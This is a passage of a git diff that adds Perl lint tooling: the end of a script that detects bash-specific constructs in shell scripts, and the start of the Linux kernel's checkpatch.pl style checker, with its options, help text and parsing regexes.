+        warn "could not find any possible bashisms in bash script $filename\n";
+        $status |= 4;
+    }
+}
+
+exit $status;
+
+sub output_explanation {
+    my ($filename, $line, $explanation) = @_;
+
+    if ($mode) {
+        # When examining a bash script, just flag that there are indeed
+        # bashisms present
+        $issues = 1;
+    } else {
+        warn "possible bashism in $filename line $. ($explanation):\n$line\n";
+        if ($opt_early_fail) {
+            exit 1;
+        }
+        $status |= 1;
+    }
+}
+
+# Returns non-zero if the given file is not actually a shell script,
+# just looks like one.
+sub script_is_evil_and_wrong {
+    my ($filename) = @_;
+    my $ret = -1;
+    # lintian's version of this function aborts if the file
+    # can't be opened, but we simply return as the next
+    # test in the calling code handles reporting the error
+    # itself
+    open(IN, '<', $filename) or return $ret;
+    my $i            = 0;
+    my $var          = "0";
+    my $backgrounded = 0;
+    local $_;
+    while (<IN>) {
+        chomp;
+        next if /^#/o;
+        next if /^$/o;
+        last if (++$i > 55);
+        if (
+            m~
+	    # the exec should either be "eval"ed or a new statement
+	    (^\s*|\beval\s*[\'\"]|(;|&&|\b(then|else))\s*)
+
+	    # eat anything between the exec and $0
+	    exec\s*.+\s*
+
+	    # optionally quoted executable name (via $0)
+	    .?\$$var.?\s*
+
+	    # optional "end of options" indicator
+	    (--\s*)?
+
+	    # Match expressions of the form '${1+$@}', '${1:+"$@"',
+	    # '"${1+$@', "$@", etc where the quotes (before the dollar
+	    # sign(s)) are optional and the second (or only if the $1
+	    # clause is omitted) parameter may be $@ or $*.
+	    #
+	    # Finally the whole subexpression may be omitted for scripts
+	    # which do not pass on their parameters (i.e. after re-execing
+	    # they take their parameters (and potentially data) from stdin
+	    .?(\$\{1:?\+.?)?(\$(\@|\*))?~x
+        ) {
+            $ret = $. - 1;
+            last;
+        } elsif (/^\s*(\w+)=\$0;/) {
+            $var = $1;
+        } elsif (
+            m~
+	    # Match scripts which use "foo $0 $@ &\nexec true\n"
+	    # Program name
+	    \S+\s+
+
+	    # As above
+	    .?\$$var.?\s*
+	    (--\s*)?
+	    .?(\$\{1:?\+.?)?(\$(\@|\*))?.?\s*\&~x
+        ) {
+
+            $backgrounded = 1;
+        } elsif (
+            $backgrounded
+            and m~
+	    # the exec should either be "eval"ed or a new statement
+	    (^\s*|\beval\s*[\'\"]|(;|&&|\b(then|else))\s*)
+	    exec\s+true(\s|\Z)~x
+        ) {
+
+            $ret = $. - 1;
+            last;
+        } elsif (m~\@DPATCH\@~) {
+            $ret = $. - 1;
+            last;
+        }
+
+    }
+    close IN;
+    return $ret;
+}
+
+sub init_hashes {
+
+    %bashisms = (
+        qr'(?:^|\s+)function [^<>\(\)\[\]\{\};|\s]+(\s|\(|\Z)' =>
+          q<'function' is useless>,
+        $LEADIN . qr'select\s+\w+'               => q<'select' is not POSIX>,
+        qr'(test|-o|-a)\s*[^\s]+\s+==\s'         => q<should be 'b = a'>,
+        qr'\[\s+[^\]]+\s+==\s'                   => q<should be 'b = a'>,
+        qr'\s\|\&'                               => q<pipelining is not POSIX>,
+        qr'[^\\\$]\{([^\s\\\}]*?,)+[^\\\}\s]*\}' => q<brace expansion>,
+        qr'\{\d+\.\.\d+(?:\.\.\d+)?\}' =>
+          q<brace expansion, {a..b[..c]}should be $(seq a [c] b)>,
+        qr'(?i)\{[a-z]\.\.[a-z](?:\.\.\d+)?\}' => q<brace expansion>,
+        qr'(?:^|\s+)\w+\[\d+\]='               => q<bash arrays, H[0]>,
+        $LEADIN
+          . qr'read\s+(?:-[a-qs-zA-Z\d-]+)' =>
+          q<read with option other than -r>,
+        $LEADIN
+          . qr'read\s*(?:-\w+\s*)*(?:\".*?\"|[\'].*?[\'])?\s*(?:;|$)' =>
+          q<read without variable>,
+        $LEADIN . qr'echo\s+(-n\s+)?-n?en?\s' => q<echo -e>,
+        $LEADIN . qr'exec\s+-[acl]'           => q<exec -c/-l/-a name>,
+        $LEADIN . qr'let\s'                   => q<let ...>,
+        qr'(?<![\$\(])\(\(.*\)\)'             => q<'((' should be '$(('>,
+        qr'(?:^|\s+)(\[|test)\s+-a' => q<test with unary -a (should be -e)>,
+        qr'\&>'                     => q<should be \>word 2\>&1>,
+        qr'(<\&|>\&)\s*((-|\d+)[^\s;|)}`&\\\\]|[^-\d\s]+(?<!\$)(?!\d))' =>
+          q<should be \>word 2\>&1>,
+        qr'\[\[(?!:)' =>
+          q<alternative test command ([[ foo ]] should be [ foo ])>,
+        qr'/dev/(tcp|udp)'               => q</dev/(tcp|udp)>,
+        $LEADIN . qr'builtin\s'          => q<builtin>,
+        $LEADIN . qr'caller\s'           => q<caller>,
+        $LEADIN . qr'compgen\s'          => q<compgen>,
+        $LEADIN . qr'complete\s'         => q<complete>,
+        $LEADIN . qr'declare\s'          => q<declare>,
+        $LEADIN . qr'dirs(\s|\Z)'        => q<dirs>,
+        $LEADIN . qr'disown\s'           => q<disown>,
+        $LEADIN . qr'enable\s'           => q<enable>,
+        $LEADIN . qr'mapfile\s'          => q<mapfile>,
+        $LEADIN . qr'readarray\s'        => q<readarray>,
+        $LEADIN . qr'shopt(\s|\Z)'       => q<shopt>,
+        $LEADIN . qr'suspend\s'          => q<suspend>,
+        $LEADIN . qr'time\s'             => q<time>,
+        $LEADIN . qr'type\s'             => q<type>,
+        $LEADIN . qr'typeset\s'          => q<typeset>,
+        $LEADIN . qr'ulimit(\s|\Z)'      => q<ulimit>,
+        $LEADIN . qr'set\s+-[BHT]+'      => q<set -[BHT]>,
+        $LEADIN . qr'alias\s+-p'         => q<alias -p>,
+        $LEADIN . qr'unalias\s+-a'       => q<unalias -a>,
+        $LEADIN . qr'local\s+-[a-zA-Z]+' => q<local -opt>,
+        # function '=' is special-cased due to bash arrays (think of "foo=()")
+        qr'(?:^|\s)\s*=\s*\(\s*\)\s*([\{|\(]|\Z)' =>
+          q<function names should only contain [a-z0-9_]>,
+qr'(?:^|\s)(?<func>function\s)?\s*(?:[^<>\(\)\[\]\{\};|\s]*[^<>\(\)\[\]\{\};|\s\w][^<>\(\)\[\]\{\};|\s]*)(?(<func>)(?=)|(?<!=))\s*(?(<func>)(?:\(\s*\))?|\(\s*\))\s*([\{|\(]|\Z)'
+          => q<function names should only contain [a-z0-9_]>,
+        $LEADIN . qr'(push|pop)d(\s|\Z)' => q<(push|pop)d>,
+        $LEADIN . qr'export\s+-[^p]'   => q<export only takes -p as an option>,
+        qr'(?:^|\s+)[<>]\(.*?\)'       => q<\<() process substitution>,
+        $LEADIN . qr'readonly\s+-[af]' => q<readonly -[af]>,
+        $LEADIN . qr'(sh|\$\{?SHELL\}?) -[rD]' => q<sh -[rD]>,
+        $LEADIN . qr'(sh|\$\{?SHELL\}?) --\w+' => q<sh --long-option>,
+        $LEADIN . qr'(sh|\$\{?SHELL\}?) [-+]O' => q<sh [-+]O>,
+        qr'\[\^[^]]+\]'                        => q<[^] should be [!]>,
+        $LEADIN
+          . qr'printf\s+-v' =>
+          q<'printf -v var ...' should be var='$(printf ...)'>,
+        $LEADIN . qr'coproc\s' => q<coproc>,
+        qr';;?&'               => q<;;& and ;& special case operators>,
+        $LEADIN . qr'jobs\s'   => q<jobs>,
+ #	$LEADIN . qr'jobs\s+-[^lp]\s' =>  q<'jobs' with option other than -l or -p>,
+        $LEADIN
+          . qr'command\s+(?:-[pvV]+\s+)*-(?:[pvV])*[^pvV\s]' =>
+          q<'command' with option other than -p, -v or -V>,
+        $LEADIN
+          . qr'setvar\s' =>
+          q<setvar 'foo' 'bar' should be eval 'foo="'"$bar"'"'>,
+        $LEADIN
+          . qr'trap\s+["\']?.*["\']?\s+.*(?:ERR|DEBUG|RETURN)' =>
+          q<trap with ERR|DEBUG|RETURN>,
+        $LEADIN
+          . qr'(?:exit|return)\s+-\d' =>
+          q<exit|return with negative status code>,
+        $LEADIN
+          . qr'(?:exit|return)\s+--' =>
+          q<'exit --' should be 'exit' (idem for return)>,
+        $LEADIN . qr'hash(\s|\Z)' => q<hash>,
+        qr'(?:[:=\s])~(?:[+-]|[+-]?\d+)(?:[/\s]|\Z)' =>
+          q<non-standard tilde expansion>,
+    );
+
+    %string_bashisms = (
+        qr'\$\[[^][]+\]' => q<'$[' should be '$(('>,
+        qr'\$\{(?:\w+|@|\*)\:(?:\d+|\$\{?\w+\}?)+(?::(?:\d+|\$\{?\w+\}?)+)?\}'
+          => q<${foo:3[:1]}>,
+        qr'\$\{!\w+[\@*]\}' => q<${!prefix[*|@]>,
+        qr'\$\{!\w+\}'      => q<${!name}>,
+        qr'\$\{(?:\w+|@|\*)([,^]{1,2}.*?)\}' =>
+          q<${parm,[,][pat]} or ${parm^[^][pat]}>,
+        qr'\$\{[@*]([#%]{1,2}.*?)\}' => q<${[@|*]#[#]pat} or ${[@|*]%[%]pat}>,
+        qr'\$\{#[@*]\}'              => q<${#@} or ${#*}>,
+        qr'\$\{(?:\w+|@|\*)(/.+?){1,2}\}' => q<${parm/?/pat[/str]}>,
+        qr'\$\{\#?\w+\[.+\](?:[/,:#%^].+?)?\}' =>
+          q<bash arrays, ${name[0|*|@]}>,
+        qr'\$\{?RANDOM\}?\b'          => q<$RANDOM>,
+        qr'\$\{?(OS|MACH)TYPE\}?\b'   => q<$(OS|MACH)TYPE>,
+        qr'\$\{?HOST(TYPE|NAME)\}?\b' => q<$HOST(TYPE|NAME)>,
+        qr'\$\{?DIRSTACK\}?\b'        => q<$DIRSTACK>,
+        qr'\$\{?EUID\}?\b'            => q<$EUID should be "$(id -u)">,
+        qr'\$\{?UID\}?\b'             => q<$UID should be "$(id -ru)">,
+        qr'\$\{?SECONDS\}?\b'         => q<$SECONDS>,
+        qr'\$\{?BASH_[A-Z]+\}?\b'     => q<$BASH_SOMETHING>,
+        qr'\$\{?SHELLOPTS\}?\b'       => q<$SHELLOPTS>,
+        qr'\$\{?PIPESTATUS\}?\b'      => q<$PIPESTATUS>,
+        qr'\$\{?SHLVL\}?\b'           => q<$SHLVL>,
+        qr'\$\{?FUNCNAME\}?\b'        => q<$FUNCNAME>,
+        qr'\$\{?TMOUT\}?\b'           => q<$TMOUT>,
+        qr'(?:^|\s+)TMOUT='           => q<TMOUT=>,
+        qr'\$\{?TIMEFORMAT\}?\b'      => q<$TIMEFORMAT>,
+        qr'(?:^|\s+)TIMEFORMAT='      => q<TIMEFORMAT=>,
+        qr'(?<![$\\])\$\{?_\}?\b'     => q<$_>,
+        qr'(?:^|\s+)GLOBIGNORE='      => q<GLOBIGNORE=>,
+        qr'<<<'                       => q<\<\<\< here string>,
+        $LEADIN
+          . qr'echo\s+(?:-[^e\s]+\s+)?\"[^\"]*(\\[abcEfnrtv0])+.*?[\"]' =>
+          q<unsafe echo with backslash>,
+        qr'\$\(\([\s\w$*/+-]*\w\+\+.*?\)\)' =>
+          q<'$((n++))' should be '$n; $((n=n+1))'>,
+        qr'\$\(\([\s\w$*/+-]*\+\+\w.*?\)\)' =>
+          q<'$((++n))' should be '$((n=n+1))'>,
+        qr'\$\(\([\s\w$*/+-]*\w\-\-.*?\)\)' =>
+          q<'$((n--))' should be '$n; $((n=n-1))'>,
+        qr'\$\(\([\s\w$*/+-]*\-\-\w.*?\)\)' =>
+          q<'$((--n))' should be '$((n=n-1))'>,
+        qr'\$\(\([\s\w$*/+-]*\*\*.*?\)\)' => q<exponentiation is not POSIX>,
+        $LEADIN . qr'printf\s["\'][^"\']*?%q.+?["\']' => q<printf %q>,
+    );
+
+    %singlequote_bashisms = (
+        $LEADIN
+          . qr'echo\s+(?:-[^e\s]+\s+)?\'[^\']*(\\[abcEfnrtv0])+.*?[\']' =>
+          q<unsafe echo with backslash>,
+        $LEADIN
+          . qr'source\s+[\"\']?(?:\.\/|\/|\$|[\w~.-])\S*' =>
+          q<should be '.', not 'source'>,
+    );
+
+    if ($opt_echo) {
+        $bashisms{ $LEADIN . qr'echo\s+-[A-Za-z]*n' } = q<echo -n>;
+    }
+    if ($opt_posix) {
+        $bashisms{ $LEADIN . qr'local\s+\w+(\s+\W|\s*[;&|)]|$)' }
+          = q<local foo>;
+        $bashisms{ $LEADIN . qr'local\s+\w+=' }      = q<local foo=bar>;
+        $bashisms{ $LEADIN . qr'local\s+\w+\s+\w+' } = q<local x y>;
+        $bashisms{ $LEADIN . qr'((?:test|\[)\s+.+\s-[ao])\s' } = q<test -a/-o>;
+        $bashisms{ $LEADIN . qr'kill\s+-[^sl]\w*' } = q<kill -[0-9] or -[A-Z]>;
+        $bashisms{ $LEADIN . qr'trap\s+["\']?.*["\']?\s+.*[1-9]' }
+          = q<trap with signal numbers>;
+    }
+
+    if ($makefile) {
+        $string_bashisms{qr'(\$\(|\`)\s*\<\s*([^\s\)]{2,}|[^DF])\s*(\)|\`)'}
+          = q<'$(\< foo)' should be '$(cat foo)'>;
+    } else {
+        $bashisms{ $LEADIN . qr'\w+\+=' } = q<should be VAR="${VAR}foo">;
+        $string_bashisms{qr'(\$\(|\`)\s*\<\s*\S+\s*(\)|\`)'}
+          = q<'$(\< foo)' should be '$(cat foo)'>;
+    }
+
+    if ($opt_extra) {
+        $string_bashisms{qr'\$\{?BASH\}?\b'}            = q<$BASH>;
+        $string_bashisms{qr'(?:^|\s+)RANDOM='}          = q<RANDOM=>;
+        $string_bashisms{qr'(?:^|\s+)(OS|MACH)TYPE='}   = q<(OS|MACH)TYPE=>;
+        $string_bashisms{qr'(?:^|\s+)HOST(TYPE|NAME)='} = q<HOST(TYPE|NAME)=>;
+        $string_bashisms{qr'(?:^|\s+)DIRSTACK='}        = q<DIRSTACK=>;
+        $string_bashisms{qr'(?:^|\s+)EUID='}            = q<EUID=>;
+        $string_bashisms{qr'(?:^|\s+)UID='}             = q<UID=>;
+        $string_bashisms{qr'(?:^|\s+)BASH(_[A-Z]+)?='}  = q<BASH(_SOMETHING)=>;
+        $string_bashisms{qr'(?:^|\s+)SHELLOPTS='}       = q<SHELLOPTS=>;
+        $string_bashisms{qr'\$\{?POSIXLY_CORRECT\}?\b'} = q<$POSIXLY_CORRECT>;
+    }
+}
diff --git a/scripts/checkpatch.pl b/scripts/checkpatch.pl
new file mode 100755
index 0000000..8c74d07
--- /dev/null
+++ b/scripts/checkpatch.pl
@@ -0,0 +1,7540 @@
+#!/usr/bin/env perl
+# SPDX-License-Identifier: GPL-2.0
+#
+# (c) 2001, Dave Jones. (the file handling bit)
+# (c) 2005, Joel Schopp <jschopp@austin.ibm.com> (the ugly bit)
+# (c) 2007,2008, Andy Whitcroft <apw@uk.ibm.com> (new conditions, test suite)
+# (c) 2008-2010 Andy Whitcroft <apw@canonical.com>
+# (c) 2010-2018 Joe Perches <joe@perches.com>
+
+use strict;
+use warnings;
+use POSIX;
+use File::Basename;
+use Cwd 'abs_path';
+use Term::ANSIColor qw(:constants);
+use Encode qw(decode encode);
+
+my $P = $0;
+my $D = dirname(abs_path($P));
+
+my $V = '0.32';
+
+use Getopt::Long qw(:config no_auto_abbrev);
+
+my $quiet = 0;
+my $verbose = 0;
+my %verbose_messages = ();
+my %verbose_emitted = ();
+my $tree = 1;
+my $chk_signoff = 1;
+my $chk_patch = 1;
+my $tst_only;
+my $emacs = 0;
+my $terse = 0;
+my $showfile = 0;
+my $file = 0;
+my $git = 0;
+my %git_commits = ();
+my $check = 0;
+my $check_orig = 0;
+my $summary = 1;
+my $mailback = 0;
+my $summary_file = 0;
+my $show_types = 0;
+my $list_types = 0;
+my $fix = 0;
+my $fix_inplace = 0;
+my $root;
+my $gitroot = $ENV{'GIT_DIR'};
+$gitroot = ".git" if !defined($gitroot);
+my %debug;
+my %camelcase = ();
+my %use_type = ();
+my @use = ();
+my %ignore_type = ();
+my @ignore = ();
+my $help = 0;
+my $configuration_file = ".checkpatch.conf";
+my $max_line_length = 100;
+my $ignore_perl_version = 0;
+my $minimum_perl_version = 5.10.0;
+my $min_conf_desc_length = 4;
+my $spelling_file = "$D/spelling.txt";
+my $codespell = 0;
+my $codespellfile = "/usr/share/codespell/dictionary.txt";
+my $conststructsfile = "$D/const_structs.checkpatch";
+my $docsfile = "$D/../Documentation/dev-tools/checkpatch.rst";
+my $typedefsfile;
+my $color = "auto";
+my $allow_c99_comments = 1; # Can be overridden by --ignore C99_COMMENT_TOLERANCE
+# git output parsing needs US English output, so first set backtick child process LANGUAGE
+my $git_command ='export LANGUAGE=en_US.UTF-8; git';
+my $tabsize = 8;
+my ${CONFIG_} = "CONFIG_";
+
+sub help {
+	my ($exitcode) = @_;
+
+	print << "EOM";
+Usage: $P [OPTION]... [FILE]...
+Version: $V
+
+Options:
+  -q, --quiet                quiet
+  -v, --verbose              verbose mode
+  --no-tree                  run without a kernel tree
+  --no-signoff               do not check for 'Signed-off-by' line
+  --patch                    treat FILE as patchfile (default)
+  --emacs                    emacs compile window format
+  --terse                    one line per report
+  --showfile                 emit diffed file position, not input file position
+  -g, --git                  treat FILE as a single commit or git revision range
+                             single git commit with:
+                               <rev>
+                               <rev>^
+                               <rev>~n
+                             multiple git commits with:
+                               <rev1>..<rev2>
+                               <rev1>...<rev2>
+                               <rev>-<count>
+                             git merges are ignored
+  -f, --file                 treat FILE as regular source file
+  --subjective, --strict     enable more subjective tests
+  --list-types               list the possible message types
+  --types TYPE(,TYPE2...)    show only these comma separated message types
+  --ignore TYPE(,TYPE2...)   ignore various comma separated message types
+  --show-types               show the specific message type in the output
+  --max-line-length=n        set the maximum line length, (default $max_line_length)
+                             if exceeded, warn on patches
+                             requires --strict for use with --file
+  --min-conf-desc-length=n   set the min description length, if shorter, warn
+  --tab-size=n               set the number of spaces for tab (default $tabsize)
+  --root=PATH                PATH to the kernel tree root
+  --no-summary               suppress the per-file summary
+  --mailback                 only produce a report in case of warnings/errors
+  --summary-file             include the filename in summary
+  --debug KEY=[0|1]          turn on/off debugging of KEY, where KEY is one of
+                             'values', 'possible', 'type', and 'attr' (default
+                             is all off)
+  --test-only=WORD           report only warnings/errors containing WORD
+                             literally
+  --fix                      EXPERIMENTAL - may create horrible results
+                             If correctable single-line errors exist, create
+                             "<inputfile>.EXPERIMENTAL-checkpatch-fixes"
+                             with potential errors corrected to the preferred
+                             checkpatch style
+  --fix-inplace              EXPERIMENTAL - may create horrible results
+                             Is the same as --fix, but overwrites the input
+                             file.  It's your fault if there's no backup or git
+  --ignore-perl-version      override checking of perl version.  expect
+                             runtime errors.
+  --codespell                Use the codespell dictionary for spelling/typos
+                             (default:/usr/share/codespell/dictionary.txt)
+  --codespellfile            Use this codespell dictionary
+  --typedefsfile             Read additional types from this file
+  --color[=WHEN]             Use colors 'always', 'never', or only when output
+                             is a terminal ('auto'). Default is 'auto'.
+  --kconfig-prefix=WORD      use WORD as a prefix for Kconfig symbols (default
+                             ${CONFIG_})
+  -h, --help, --version      display this help and exit
+
+When FILE is - read standard input.
+EOM
+
+	exit($exitcode);
+}
+
+sub uniq {
+	my %seen;
+	return grep { !$seen{$_}++ } @_;
+}
+
+sub list_types {
+	my ($exitcode) = @_;
+
+	my $count = 0;
+
+	local $/ = undef;
+
+	open(my $script, '<', abs_path($P)) or
+	    die "$P: Can't read '$P' $!\n";
+
+	my $text = <$script>;
+	close($script);
+
+	my %types = ();
+	# Also catch when type or level is passed through a variable
+	while ($text =~ /(?:(\bCHK|\bWARN|\bERROR|&\{\$msg_level})\s*\(|\$msg_type\s*=)\s*"([^"]+)"/g) {
+		if (defined($1)) {
+			if (exists($types{$2})) {
+				$types{$2} .= ",$1" if ($types{$2} ne $1);
+			} else {
+				$types{$2} = $1;
+			}
+		} else {
+			$types{$2} = "UNDETERMINED";
+		}
+	}
+
+	print("#\tMessage type\n\n");
+	if ($color) {
+		print(" ( Color coding: ");
+		print(RED . "ERROR" . RESET);
+		print(" | ");
+		print(YELLOW . "WARNING" . RESET);
+		print(" | ");
+		print(GREEN . "CHECK" . RESET);
+		print(" | ");
+		print("Multiple levels / Undetermined");
+		print(" )\n\n");
+	}
+
+	foreach my $type (sort keys %types) {
+		my $orig_type = $type;
+		if ($color) {
+			my $level = $types{$type};
+			if ($level eq "ERROR") {
+				$type = RED . $type . RESET;
+			} elsif ($level eq "WARN") {
+				$type = YELLOW . $type . RESET;
+			} elsif ($level eq "CHK") {
+				$type = GREEN . $type . RESET;
+			}
+		}
+		print(++$count . "\t" . $type . "\n");
+		if ($verbose && exists($verbose_messages{$orig_type})) {
+			my $message = $verbose_messages{$orig_type};
+			$message =~ s/\n/\n\t/g;
+			print("\t" . $message . "\n\n");
+		}
+	}
+
+	exit($exitcode);
+}
+
+my $conf = which_conf($configuration_file);
+if (-f $conf) {
+	my @conf_args;
+	open(my $conffile, '<', "$conf")
+	    or warn "$P: Can't find a readable $configuration_file file $!\n";
+
+	while (<$conffile>) {
+		my $line = $_;
+
+		$line =~ s/\s*\n?$//g;
+		$line =~ s/^\s*//g;
+		$line =~ s/\s+/ /g;
+
+		next if ($line =~ m/^\s*#/);
+		next if ($line =~ m/^\s*$/);
+
+		my @words = split(" ", $line);
+		foreach my $word (@words) {
+			last if ($word =~ m/^#/);
+			push (@conf_args, $word);
+		}
+	}
+	close($conffile);
+	unshift(@ARGV, @conf_args) if @conf_args;
+}
+
+sub load_docs {
+	open(my $docs, '<', "$docsfile")
+	    or warn "$P: Can't read the documentation file $docsfile $!\n";
+
+	my $type = '';
+	my $desc = '';
+	my $in_desc = 0;
+
+	while (<$docs>) {
+		chomp;
+		my $line = $_;
+		$line =~ s/\s+$//;
+
+		if ($line =~ /^\s*\*\*(.+)\*\*$/) {
+			if ($desc ne '') {
+				$verbose_messages{$type} = trim($desc);
+			}
+			$type = $1;
+			$desc = '';
+			$in_desc = 1;
+		} elsif ($in_desc) {
+			if ($line =~ /^(?:\s{4,}|$)/) {
+				$line =~ s/^\s{4}//;
+				$desc .= $line;
+				$desc .= "\n";
+			} else {
+				$verbose_messages{$type} = trim($desc);
+				$type = '';
+				$desc = '';
+				$in_desc = 0;
+			}
+		}
+	}
+
+	if ($desc ne '') {
+		$verbose_messages{$type} = trim($desc);
+	}
+	close($docs);
+}
+
+# Perl's Getopt::Long allows options to take optional arguments after a space.
+# Prevent --color by itself from consuming other arguments
+foreach (@ARGV) {
+	if ($_ eq "--color" || $_ eq "-color") {
+		$_ = "--color=$color";
+	}
+}
+
+GetOptions(
+	'q|quiet+'	=> \$quiet,
+	'v|verbose!'	=> \$verbose,
+	'tree!'		=> \$tree,
+	'signoff!'	=> \$chk_signoff,
+	'patch!'	=> \$chk_patch,
+	'emacs!'	=> \$emacs,
+	'terse!'	=> \$terse,
+	'showfile!'	=> \$showfile,
+	'f|file!'	=> \$file,
+	'g|git!'	=> \$git,
+	'subjective!'	=> \$check,
+	'strict!'	=> \$check,
+	'ignore=s'	=> \@ignore,
+	'types=s'	=> \@use,
+	'show-types!'	=> \$show_types,
+	'list-types!'	=> \$list_types,
+	'max-line-length=i' => \$max_line_length,
+	'min-conf-desc-length=i' => \$min_conf_desc_length,
+	'tab-size=i'	=> \$tabsize,
+	'root=s'	=> \$root,
+	'summary!'	=> \$summary,
+	'mailback!'	=> \$mailback,
+	'summary-file!'	=> \$summary_file,
+	'fix!'		=> \$fix,
+	'fix-inplace!'	=> \$fix_inplace,
+	'ignore-perl-version!' => \$ignore_perl_version,
+	'debug=s'	=> \%debug,
+	'test-only=s'	=> \$tst_only,
+	'codespell!'	=> \$codespell,
+	'codespellfile=s'	=> \$codespellfile,
+	'typedefsfile=s'	=> \$typedefsfile,
+	'color=s'	=> \$color,
+	'no-color'	=> \$color,	#keep old behaviors of -nocolor
+	'nocolor'	=> \$color,	#keep old behaviors of -nocolor
+	'kconfig-prefix=s'	=> \${CONFIG_},
+	'h|help'	=> \$help,
+	'version'	=> \$help
+) or help(1);
+
+help(0) if ($help);
+
+die "$P: --git cannot be used with --file or --fix\n" if ($git && ($file || $fix));
+die "$P: --verbose cannot be used with --terse\n" if ($verbose && $terse);
+
+if ($color =~ /^[01]$/) {
+	$color = !$color;
+} elsif ($color =~ /^always$/i) {
+	$color = 1;
+} elsif ($color =~ /^never$/i) {
+	$color = 0;
+} elsif ($color =~ /^auto$/i) {
+	$color = (-t STDOUT);
+} else {
+	die "$P: Invalid color mode: $color\n";
+}
+
+load_docs() if ($verbose);
+list_types(0) if ($list_types);
+
+$fix = 1 if ($fix_inplace);
+$check_orig = $check;
+
+my $exit = 0;
+
+my $perl_version_ok = 1;
+if ($^V && $^V lt $minimum_perl_version) {
+	$perl_version_ok = 0;
+	printf "$P: requires at least perl version %vd\n", $minimum_perl_version;
+	exit(1) if (!$ignore_perl_version);
+}
+
+#if no filenames are given, push '-' to read patch from stdin
+if ($#ARGV < 0) {
+	push(@ARGV, '-');
+}
+
+# skip TAB size 1 to avoid additional checks on $tabsize - 1
+die "$P: Invalid TAB size: $tabsize\n" if ($tabsize < 2);
+
+sub hash_save_array_words {
+	my ($hashRef, $arrayRef) = @_;
+
+	my @array = split(/,/, join(',', @$arrayRef));
+	foreach my $word (@array) {
+		$word =~ s/\s*\n?$//g;
+		$word =~ s/^\s*//g;
+		$word =~ s/\s+/ /g;
+		$word =~ tr/[a-z]/[A-Z]/;
+
+		next if ($word =~ m/^\s*#/);
+		next if ($word =~ m/^\s*$/);
+
+		$hashRef->{$word}++;
+	}
+}
+
+sub hash_show_words {
+	my ($hashRef, $prefix) = @_;
+
+	if (keys %$hashRef) {
+		print "\nNOTE: $prefix message types:";
+		foreach my $word (sort keys %$hashRef) {
+			print " $word";
+		}
+		print "\n";
+	}
+}
+
+hash_save_array_words(\%ignore_type, \@ignore);
+hash_save_array_words(\%use_type, \@use);
+
+my $dbg_values = 0;
+my $dbg_possible = 0;
+my $dbg_type = 0;
+my $dbg_attr = 0;
+for my $key (keys %debug) {
+	## no critic
+	eval "\${dbg_$key} = '$debug{$key}';";
+	die "$@" if ($@);
+}
+
+my $rpt_cleaners = 0;
+
+if ($terse) {
+	$emacs = 1;
+	$quiet++;
+}
+
+if ($tree) {
+	if (defined $root) {
+		if (!top_of_kernel_tree($root)) {
+			die "$P: $root: --root does not point at a valid tree\n";
+		}
+	} else {
+		if (top_of_kernel_tree('.')) {
+			$root = '.';
+		} elsif ($0 =~ m@(.*)/scripts/[^/]*$@ &&
+						top_of_kernel_tree($1)) {
+			$root = $1;
+		}
+	}
+
+	if (!defined $root) {
+		print "Must be run from the top-level dir. of a kernel tree\n";
+		exit(2);
+	}
+}
+
+my $emitted_corrupt = 0;
+
+our $Ident	= qr{
+			[A-Za-z_][A-Za-z\d_]*
+			(?:\s*\#\#\s*[A-Za-z_][A-Za-z\d_]*)*
+		}x;
+our $Storage	= qr{extern|static|asmlinkage};
+our $Sparse	= qr{
+			__user|
+			__kernel|
+			__force|
+			__iomem|
+			__must_check|
+			__kprobes|
+			__ref|
+			__refconst|
+			__refdata|
+			__rcu|
+			__private
+		}x;
+our $InitAttributePrefix = qr{__(?:mem|cpu|dev|net_|)};
+our $InitAttributeData = qr{$InitAttributePrefix(?:initdata\b)};
+our $InitAttributeConst = qr{$InitAttributePrefix(?:initconst\b)};
+our $InitAttributeInit = qr{$InitAttributePrefix(?:init\b)};
+our $InitAttribute = qr{$InitAttributeData|$InitAttributeConst|$InitAttributeInit};
+
+# Notes to $Attribute:
+# We need \b after 'init' otherwise 'initconst' will cause a false positive in a check
+our $Attribute	= qr{
+			const|
+			volatile|
+			__percpu|
+			__nocast|
+			__safe|
+			__bitwise|
+			__packed__|
+			__packed2__|
+			__naked|
+			__maybe_unused|
+			__always_unused|
+			__noreturn|
+			__used|
+			__cold|
+			__pure|
+			__noclone|
+			__deprecated|
+			__read_mostly|
+			__ro_after_init|
+			__kprobes|
+			$InitAttribute|
+			____cacheline_aligned|
+			____cacheline_aligned_in_smp|
+			____cacheline_internodealigned_in_smp|
+			__weak|
+			__alloc_size\s*\(\s*\d+\s*(?:,\s*\d+\s*)?\)
+		  }x;
+our $Modifier;
+our $Inline	= qr{inline|__always_inline|noinline|__inline|__inline__};
+our $Member	= qr{->$Ident|\.$Ident|\[[^]]*\]};
+our $Lval	= qr{$Ident(?:$Member)*};
+
+our $Int_type	= qr{(?i)llu|ull|ll|lu|ul|l|u};
+our $Binary	= qr{(?i)0b[01]+$Int_type?};
+our $Hex	= qr{(?i)0x[0-9a-f]+$Int_type?};
+our $Int	= qr{[0-9]+$Int_type?};
+our $Octal	= qr{0[0-7]+$Int_type?};
+our $String	= qr{(?:\b[Lu])?"[X\t]*"};
+our $Float_hex	= qr{(?i)0x[0-9a-f]+p-?[0-9]+[fl]?};
+our $Float_dec	= qr{(?i)(?:[0-9]+\.[0-9]*|[0-9]*\.[0-9]+)(?:e-?[0-9]+)?[fl]?};
+our $Float_int	= qr{(?i)[0-9]+e-?[0-9]+[fl]?};
+our $Float	= qr{$Float_hex|$Float_dec|$Float_int};
+our $Constant	= qr{$Float|$Binary|$Octal|$Hex|$Int};
+our $Assignment	= qr{\*\=|/=|%=|\+=|-=|<<=|>>=|&=|\^=|\|=|=};
+our $Compare    = qr{<=|>=|==|!=|<|(?<!-)>};
+our $Arithmetic = qr{\+|-|\*|\/|%};
+our $Operators	= qr{
+			<=|>=|==|!=|
+			=>|->|<<|>>|<|>|!|~|
+			&&|\|\||,|\^|\+\+|--|&|\||$Arithmetic
+		  }x;
+
+our $c90_Keywords = qr{do|for|while|if|else|return|goto|continue|switch|default|case|break}x;
+
+our $BasicType;
+our $NonptrType;
+our $NonptrTypeMisordered;
+our $NonptrTypeWithAttr;
+our $Type;
+our $TypeMisordered;
+our $Declare;
+our $DeclareMisordered;
+
+our $NON_ASCII_UTF8	= qr{
+	[\xC2-\xDF][\x80-\xBF]               # non-overlong 2-byte
+	|  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
+	| [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
